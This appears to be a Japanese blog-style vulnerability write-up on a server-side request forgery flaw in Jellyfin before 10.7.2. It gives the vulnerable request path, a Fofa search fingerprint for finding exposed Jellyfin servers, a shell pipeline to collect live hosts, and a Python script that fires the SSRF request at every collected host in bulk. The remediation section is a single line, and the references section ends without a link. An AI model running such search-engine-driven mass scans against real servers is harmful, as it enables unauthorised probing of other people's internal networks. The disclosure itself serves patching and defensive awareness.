1. 脆弱性の概要#
Jellyfin は、メディアの管理とストリーミングを制御することができるフリーソフトウェアのメディアシステムです。これは、専用サーバーからエンドユーザーのデバイスにメディアを提供するための複数のアプリケーションを介して、Emby や Plex の代替となるものです。Jellyfin は、Emby 3.5.2 の後継であり、完全なクロスプラットフォームサポートを提供するために.NET Core フレームワークに移植されました。追加の条件はなく、単にチームがより良いものを構築し、共同でそれを実現するために努力しているだけです。すべてのユーザーが最高のメディアシステムにアクセスできるようにすることに専念しています。
Jellyfin RemoteImageController.cs ファイルに SSRF 脆弱性が存在し、特殊なリクエストを構築することで、内部ネットワークの情報を探知することができます。
2. 影響を受けるバージョン#
Jellyfin < 10.7.2
3. 脆弱性の再現手順#
/Images/Remote?imageUrl=http://www.baidu.com
Fofa 検索エンジンのフィンガープリントは:"Jellyfin" && port="8096" であり、Fofa 采集工具.exe を使用してアセットを一括収集します。
収集したアセットの結果は、同じディレクトリに result.csv ファイルとして保存されます。
シェルコマンドを使用して IP またはドメインをフィルタリングします。
cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt
次に、Python スクリプトを使用して一括で検証します。
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def Jellyfin():
with open("Jellyfin.txt") as file:
for line in file:
vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"
try:
response = requests.get(url=vuln_url, verify=False, timeout=10)
if response.status_code == 200:
print(vuln_url)
else:
pass
continue
except Exception as e:
pass
#print(e)
continue
def main():
Jellyfin()
if __name__ == '__main__':
main()
4. 脆弱性の修正#
バージョンを更新してください。
5. 参考リンク#
SSRF 脆弱性については、次の記事を参照してください: